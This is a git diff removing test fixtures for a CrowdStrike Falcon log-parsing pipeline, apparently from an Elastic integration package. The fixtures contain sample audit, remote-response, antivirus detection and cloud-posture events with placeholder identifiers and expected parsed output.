"AuthActivityAuditEvent", - "offset": 70509, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "saml2Assert" - ], - "category": [ - "iam" - ], - "created": "2020-07-20T12:26:10.093Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 70509,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1595247970093,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"first.last@company.com\",\n \"UserIp\": \"67.43.156.15\",\n \"OperationName\": \"saml2Assert\",\n \"ServiceName\": \"Crowdstrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1595247970,\n \"AuditKeyValues\": [\n {\n \"Key\": \"trace_id\",\n \"ValueString\": \"b0b33836-555c-4e0e-a5ef-d368f6799f6b\"\n },\n {\n \"Key\": \"actor_user\",\n \"ValueString\": \"first.last@company.com\"\n },\n {\n \"Key\": \"actor_user_uuid\",\n \"ValueString\": \"123ab123-abc1-12a1-12a1-12a1ab12a1a1\"\n },\n {\n \"Key\": \"actor_cid\",\n \"ValueString\": \"123456a1ab1a12abc12ab1234abcd12a\"\n },\n {\n \"Key\": \"target_user\",\n \"ValueString\": \"first.last@company.com\"\n }\n ]\n }\n}", - "outcome": "success" - }, - "message": "Crowdstrike Authentication", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "67.43.156.15" - ], - "user": [ - "first.last", - "first.last@company.com" - ] - }, - "source": { - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.15" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "first.last@company.com", - "name": "first.last" - } - }, - { - "@timestamp": "2020-07-20T12:41:25.000Z", - "crowdstrike": { - "event": { - "AuditKeyValues": [ - { - "Key": "quarantined_file_id", - "ValueString": "ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21" - }, - { - "Key": "action_taken", - "ValueString": "quarantined" - } - ], - "ServiceName": "quarantined_files" - }, - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "eventType": "UserActivityAuditEvent", - "offset": 70683, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "user_activity_audit_event", - "category": [ - "iam" - ], - "created": "2020-07-20T12:41:25.000Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 70683,\n \"eventType\": \"UserActivityAuditEvent\",\n \"eventCreationTime\": 1595248885000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"Crowdstrike\",\n \"UserIp\": \"\",\n \"OperationName\": \"quarantined_file_update\",\n \"ServiceName\": \"quarantined_files\",\n \"AuditKeyValues\": [\n {\n \"Key\": \"quarantined_file_id\",\n \"ValueString\": \"ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21\"\n },\n {\n \"Key\": \"action_taken\",\n \"ValueString\": \"quarantined\"\n }\n ],\n \"UTCTimestamp\": 1595248885\n }\n}", - "type": [ - "change" - ] - }, - "message": "quarantined_file_update", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "user": [ - "Crowdstrike" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "Crowdstrike" - } - }, - { - "@timestamp": "2020-07-17T17:14:53.000Z", - "crowdstrike": { - "event": { - "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e" - }, - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "eventType": "RemoteResponseSessionStartEvent", - "offset": 57217, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "remote_response_session_start_event" - ], - "category": [ - "network", - "session" - ], - "created": "2020-07-17T17:14:53.000Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 57217,\n \"eventType\": \"RemoteResponseSessionStartEvent\",\n \"eventCreationTime\": 1595006093000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"SessionId\": \"330633db-1cda-4355-b0d8-2c2edc91fe3e\",\n \"HostnameField\": \"TESTDEVICE01\",\n \"UserName\": \"first.last@company.com\",\n \"StartTimestamp\": 1595006093\n }\n}", - "start": "2020-07-17T17:14:53.000Z", - "type": [ - "start" - ] - }, - "host": { - "name": "TESTDEVICE01" - }, - "message": "Remote response session started.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "TESTDEVICE01" - ], - "user": [ - "first.last", - "first.last@company.com" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "first.last@company.com", - "name": "first.last" - } - }, - { - "@timestamp": "2020-07-17T17:28:19.000Z", - "crowdstrike": { - "event": { - "Commands": [ - "cd \\Program Files (x86)\\Symantec", - "ls .", - "cd \\Program Files (x86)", - "ls .", - "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default", - "reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```", - "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default", - "restart", - "restart -Confirm" - ], - "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e" - }, - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "eventType": "RemoteResponseSessionEndEvent", - "offset": 57269, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "remote_response_session_end_event" - ], - "category": [ - "network", - "session" - ], - "created": "2020-07-17T17:28:19.000Z", - "end": "2020-07-17T17:28:19.000Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 57269,\n \"eventType\": \"RemoteResponseSessionEndEvent\",\n \"eventCreationTime\": 1595006899000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"SessionId\": \"330633db-1cda-4355-b0d8-2c2edc91fe3e\",\n \"HostnameField\": \"TESTDEVICE01\",\n \"UserName\": \"first.last@company.com\",\n \"EndTimestamp\": 1595006899,\n \"Commands\": [\n \"cd \\\\Program Files (x86)\\\\Symantec\",\n \"ls .\",\n \"cd \\\\Program Files (x86)\",\n \"ls .\",\n \"reg query HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CrowdStrike\\\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\\\{16e0423f-7058-48c9-a204-725362b67639}\\\\Default\",\n \"reg set HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CrowdStrike\\\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\\\{16e0423f-7058-48c9-a204-725362b67639}\\\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```\",\n \"reg query HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CrowdStrike\\\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\\\{16e0423f-7058-48c9-a204-725362b67639}\\\\Default\",\n \"restart\",\n \"restart -Confirm\"\n ]\n }\n}", - "type": [ - "end" - ] - }, - "host": { - "name": "TESTDEVICE01" - }, - "message": "Remote response session ended.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "TESTDEVICE01" - ], - "user": [ - "first.last", - "first.last@company.com" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "first.last@company.com", - "name": "first.last" - } - }, - { - "@timestamp": "2020-07-17T16:11:31.000Z", - "crowdstrike": { - "event": { - "ExecutablesWritten": [ - { - "FileName": "NEURO_200_J1939Configuration.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", - "Timestamp": 1595002290 - }, - { - "FileName": "NEURO_200_J1939Configuration.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", - "Timestamp": 1595002290 - }, - { - "FileName": "NEURO_200_J1939CanPackMessage.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", - "Timestamp": 1595002290 - }, - { - "FileName": "NEURO_200_J1939CanPackMessage.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", - "Timestamp": 1595002290 - } - ], - "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe", - "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe", - "IOCType": "hash_sha256", - "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", - "MACAddress": "54-ad-d4-d2-a8-0b", - "Objective": "Falcon Detection Method", - "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe", - "PatternDispositionFlags": { - "BootupSafeguardEnabled": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "InddetMask": false, - "Indicator": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": true, - "ProcessBlocked": true, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false - }, - "PatternDispositionValue": 2304, - "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0", - "Severity": 2, - "SeverityName": "Low" - }, - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "eventType": "DetectionSummaryEvent", - "offset": 57047, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, process would have been blocked if related prevention policy setting was enabled.", - "category": [ - "malware" - ], - "created": "2020-07-17T16:11:31.000Z", - "kind": "alert", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 57047,\n \"eventType\": \"DetectionSummaryEvent\",\n \"eventCreationTime\": 1595002291000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"ProcessStartTime\": 1595002290,\n \"ProcessEndTime\": 1595002290,\n \"ProcessId\": 663790158277,\n \"ParentProcessId\": 627311656469,\n \"ComputerName\": \"TESTDEVICE01\",\n \"UserName\": \"First.last\",\n \"DetectName\": \"NGAV\",\n \"DetectDescription\": \"This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.\",\n \"Severity\": 2,\n \"SeverityName\": \"Low\",\n \"FileName\": \"filename.exe\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\",\n \"CommandLine\": \"\\\"C:\\\\ProgramData\\\\file\\\\path\\\\filename.exe\\\" \",\n \"SHA256String\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n \"MD5String\": \"0ab1235adca04aef6239f5496ef0a5df\",\n \"SHA1String\": \"0000000000000000000000000000000000000000\",\n \"MachineDomain\": \"NA\",\n \"ExecutablesWritten\": [\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n },\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n },\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n },\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n }\n ],\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p\",\n \"SensorId\": \"1abcd2345b8c4151a0cb45dcfbe6d3d0\",\n \"IOCType\": \"hash_sha256\",\n \"IOCValue\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n \"DetectId\": \"ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719\",\n \"LocalIP\": \"10.1.190.117\",\n \"MACAddress\": \"54-ad-d4-d2-a8-0b\",\n \"Tactic\": \"Machine Learning\",\n \"Technique\": \"Sensor-based ML\",\n \"Objective\": \"Falcon Detection Method\",\n \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n \"PatternDispositionValue\": 2304,\n \"PatternDispositionFlags\": {\n \"Indicator\": false,\n \"Detect\": false,\n \"InddetMask\": false,\n \"SensorOnly\": false,\n \"Rooting\": false,\n \"KillProcess\": false,\n \"KillSubProcess\": false,\n \"QuarantineMachine\": false,\n \"QuarantineFile\": false,\n \"PolicyDisabled\": true,\n \"KillParent\": false,\n \"OperationBlocked\": false,\n \"ProcessBlocked\": true,\n \"RegistryOperationBlocked\": false,\n \"CriticalProcessDisabled\": false,\n \"BootupSafeguardEnabled\": false,\n \"FsOperationBlocked\": false\n },\n \"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\explorer.exe\",\n \"ParentCommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n \"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\userinit.exe\",\n \"GrandparentCommandLine\": \"C:\\\\Windows\\\\system32\\\\userinit.exe\"\n }\n}", - "reference": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "0ab1235adca04aef6239f5496ef0a5df", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb" - }, - "name": "filename.exe", - "path": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path" - }, - "host": { - "name": "TESTDEVICE01" - }, - "message": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "\"C:\\ProgramData\\file\\path\\filename.exe\"" - ], - "command_line": "\"C:\\ProgramData\\file\\path\\filename.exe\"", - "end": "2020-07-17T16:11:30.000Z", - "entity_id": "663790158277", - "executable": "\"C:\\ProgramData\\file\\path\\filename.exe\"", - "name": "filename.exe", - "parent": { - "args": [ - "C:\\Windows\\Explorer.EXE" - ], - "command_line": "C:\\Windows\\Explorer.EXE", - "entity_id": "627311656469", - "executable": "C:\\Windows\\Explorer.EXE", - "pid": 627311656469 - }, - "pid": 663790158277, - "start": "2020-07-17T16:11:30.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", - "0ab1235adca04aef6239f5496ef0a5df" - ], - "hosts": [ - "TESTDEVICE01" - ], - "ip": [ - "10.1.190.117" - ], - "user": [ - "First.last" - ] - }, - "rule": { - "description": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", - "id": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719", - "name": "NGAV" - }, - "source": { - "ip": "10.1.190.117" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Machine Learning" - ] - }, - "technique": { - "name": [ - "Sensor-based ML" - ] - } - }, - "user": { - "name": "First.last" - } - }, - { - "@timestamp": "2020-07-17T16:11:31.000Z", - "crowdstrike": { - "event": { - "ExecutablesWritten": [ - { - "FileName": "NEURO_200_J1939Configuration.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", - "Timestamp": 1595002290 - }, - { - "FileName": "NEURO_200_J1939Configuration.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", - "Timestamp": 1595002290 - }, - { - "FileName": "NEURO_200_J1939CanPackMessage.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", - "Timestamp": 1595002290 - }, - { - "FileName": "NEURO_200_J1939CanPackMessage.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", - "Timestamp": 1595002290 - } - ], - "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe", - "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe", - "IOCType": "hash_sha256", - "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", - "MACAddress": "54-ad-d4-d2-a8-0b", - "MitreAttack": [ - { - "Tactic": "Machine Learning", - "Technique": "Sensor-based ML" - } - ], - "Objective": "Falcon Detection Method", - "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe", - "PatternDispositionFlags": { - "BootupSafeguardEnabled": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "InddetMask": false, - "Indicator": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": true, - "ProcessBlocked": true, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false - }, - "PatternDispositionValue": 2304, - "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0", - "Severity": 2, - "SeverityName": "Low" - }, - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "eventType": "DetectionSummaryEvent", - "offset": 57047, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, process would have been blocked if related prevention policy setting was enabled.", - "category": [ - "malware" - ], - "created": "2020-07-17T16:11:31.000Z", - "kind": "alert", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 57047,\n \"eventType\": \"DetectionSummaryEvent\",\n \"eventCreationTime\": 1595002291000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"ProcessStartTime\": 1595002290,\n \"ProcessEndTime\": 1595002290,\n \"ProcessId\": 663790158277,\n \"ParentProcessId\": 627311656469,\n \"ComputerName\": \"TESTDEVICE01\",\n \"UserName\": \"First.last\",\n \"DetectName\": \"NGAV\",\n \"DetectDescription\": \"This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.\",\n \"Severity\": 2,\n \"SeverityName\": \"Low\",\n \"FileName\": \"filename.exe\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\",\n \"CommandLine\": \"\\\"C:\\\\ProgramData\\\\file\\\\path\\\\filename.exe\\\" \",\n \"SHA256String\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n \"MD5String\": \"0ab1235adca04aef6239f5496ef0a5df\",\n \"SHA1String\": \"0000000000000000000000000000000000000000\",\n \"MachineDomain\": \"NA\",\n \"ExecutablesWritten\": [\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n },\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n },\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n },\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n }\n ],\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p\",\n \"SensorId\": \"1abcd2345b8c4151a0cb45dcfbe6d3d0\",\n \"IOCType\": \"hash_sha256\",\n \"IOCValue\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n \"DetectId\": \"ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719\",\n \"LocalIP\": \"10.1.190.117\",\n \"MACAddress\": \"54-ad-d4-d2-a8-0b\",\n \"Tactic\": \"Machine Learning\",\n \"Technique\": \"Sensor-based ML\",\n \"Objective\": \"Falcon Detection Method\",\n \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n \"PatternDispositionValue\": 2304,\n \"PatternDispositionFlags\": {\n \"Indicator\": false,\n \"Detect\": false,\n \"InddetMask\": false,\n \"SensorOnly\": false,\n \"Rooting\": false,\n \"KillProcess\": false,\n \"KillSubProcess\": false,\n \"QuarantineMachine\": false,\n \"QuarantineFile\": false,\n \"PolicyDisabled\": true,\n \"KillParent\": false,\n \"OperationBlocked\": false,\n \"ProcessBlocked\": true,\n \"RegistryOperationBlocked\": false,\n \"CriticalProcessDisabled\": false,\n \"BootupSafeguardEnabled\": false,\n \"FsOperationBlocked\": false\n },\n \"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\explorer.exe\",\n \"ParentCommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n \"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\userinit.exe\",\n \"GrandparentCommandLine\": \"C:\\\\Windows\\\\system32\\\\userinit.exe\",\n \"MitreAttack\": [\n {\n \"Tactic\": \"Machine Learning\",\n \"Technique\": \"Sensor-based ML\"\n }\n ]\n }\n}", - "reference": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "0ab1235adca04aef6239f5496ef0a5df", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb" - }, - "name": "filename.exe", - "path": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path" - }, - "host": { - "name": "TESTDEVICE01" - }, - "message": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "\"C:\\ProgramData\\file\\path\\filename.exe\"" - ], - "command_line": "\"C:\\ProgramData\\file\\path\\filename.exe\"", - "end": "2020-07-17T16:11:30.000Z", - "entity_id": "663790158277", - "executable": "\"C:\\ProgramData\\file\\path\\filename.exe\"", - "name": "filename.exe", - "parent": { - "args": [ - "C:\\Windows\\Explorer.EXE" - ], - "command_line": "C:\\Windows\\Explorer.EXE", - "entity_id": "627311656469", - "executable": "C:\\Windows\\Explorer.EXE", - "pid": 627311656469 - }, - "pid": 663790158277, - "start": "2020-07-17T16:11:30.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", - "0ab1235adca04aef6239f5496ef0a5df" - ], - "hosts": [ - "TESTDEVICE01" - ], - "ip": [ - "10.1.190.117" - ], - "user": [ - "First.last" - ] - }, - "rule": { - "description": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", - "id": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719", - "name": "NGAV" - }, - "source": { - "ip": "10.1.190.117" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Machine Learning" - ] - }, - "technique": { - "name": [ - "Sensor-based ML" - ] - } - }, - "user": { - "name": "First.last" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log deleted file mode 100644 index 898afc6415..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log +++ /dev/null @@ -1,31 +0,0 @@ -{ - "metadata": { - - "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", - "offset": 54712611, - "eventType": "CSPMSearchStreamingEvent", - "eventCreationTime": 1663009688832, - "version": "1.0" - }, - "event": { - "AccountId": "XXXXXXXXXXXX", - "Region": "us-west-2", - "ResourceId": "i-0108fce80eXXXXXXX", - "ResourceIdType": "Instance Id", - "ResourceName": "", - "ResourceCreateTime": 0, - "PolicyStatement": "EC2 NACL configured for global ingress", - "PolicyId": 26, - "Severity": 1, - "SeverityName": "High", - "CloudPlatform": "AWS", - "CloudService": "EC2", - "Disposition": "Failed", - "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX", - "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All", - "ResourceAttributes": "{\"ACL ID\": \"acl - 005e6 bb98e75ac17e\",\"VPC ID\": \"vpc - 0e886040 c27d9f526\",\"Platform\": \"Linux\",\"Instance ID\": \"i - 0108 fce80eXXXXXXX\",\"Launch Time\": \"2022 - 09 - 12 17: 11: 06 + 00\",\"Instance State\": \"running\"}", - "Tags": "SensorGroupingTags/TEACHER, SensorGroupingTags/XYZ, 321, 1111", - "ReportUrl": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2", - "Timestamp": 1663009688832 - } -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json deleted file mode 100644 index d88d9aef3d..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json +++ /dev/null @@ -1,73 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2022-09-12T19:08:08.832Z", - "cloud": { - "account": { - "id": "XXXXXXXXXXXX" - }, - "provider": "AWS", - "region": "us-west-2", - "service": { - "name": "EC2" - } - }, - "crowdstrike": { - "event": { - "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All", - "PolicyId": 26, - "ResourceAttributes": { - "ACL ID": "acl - 005e6 bb98e75ac17e", - "Instance ID": "i - 0108 fce80eXXXXXXX", - "Instance State": "running", - "Launch Time": "2022 - 09 - 12 17: 11: 06 + 00", - "Platform": "Linux", - "VPC ID": "vpc - 0e886040 c27d9f526" - }, - "ResourceId": "i-0108fce80eXXXXXXX", - "ResourceIdType": "Instance Id", - "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX", - "Severity": 1, - "SeverityName": "High", - "Timestamp": 1663009688832 - }, - "metadata": { - "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", - "eventType": "CSPMSearchStreamingEvent", - "offset": 54712611, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "configuration" - ], - "created": "2022-09-12T19:08:08.832Z", - "kind": "alert", - "original": "{\n\t\"metadata\": 